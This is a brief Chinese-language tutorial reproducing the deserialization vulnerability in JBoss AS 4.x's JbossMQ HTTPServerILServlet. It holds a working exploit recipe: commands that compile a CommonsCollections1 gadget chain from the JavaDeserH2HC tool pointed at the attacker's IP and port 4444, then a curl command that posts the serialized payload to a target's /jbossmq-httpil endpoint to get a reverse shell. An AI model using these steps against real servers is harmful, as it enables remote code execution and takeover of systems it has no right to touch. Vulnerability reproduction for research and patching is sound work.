简介
Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
前言:
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。html
Java中的ObjectOutputStream类的writeObject()方法能够实现序列化,ObjectInputStream类的readObject()方法用于反序列化。
漏洞复现
这里我们使用工具JavaDeserH2HC
选择ExampleCommonsCollections1WithHashMap,编译并生成序列化数据:
第一行命令执行完成后,将生成一个文件
##ExampleCommonsCollections1WithHashMap.class
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java #编译
第二行命令执行完成后,将生成一个文件
ExampleCommonsCollections1WithHashMap.ser
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap 本机ip:4444
#ser全称serialize,序列化恶意数据至文件。
发送将该文件做为请求数据主体发送以下数据包:
curl http://目标地址:目标端口/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser
–data-binary 意为以二进制的方式post数据
反弹shell成功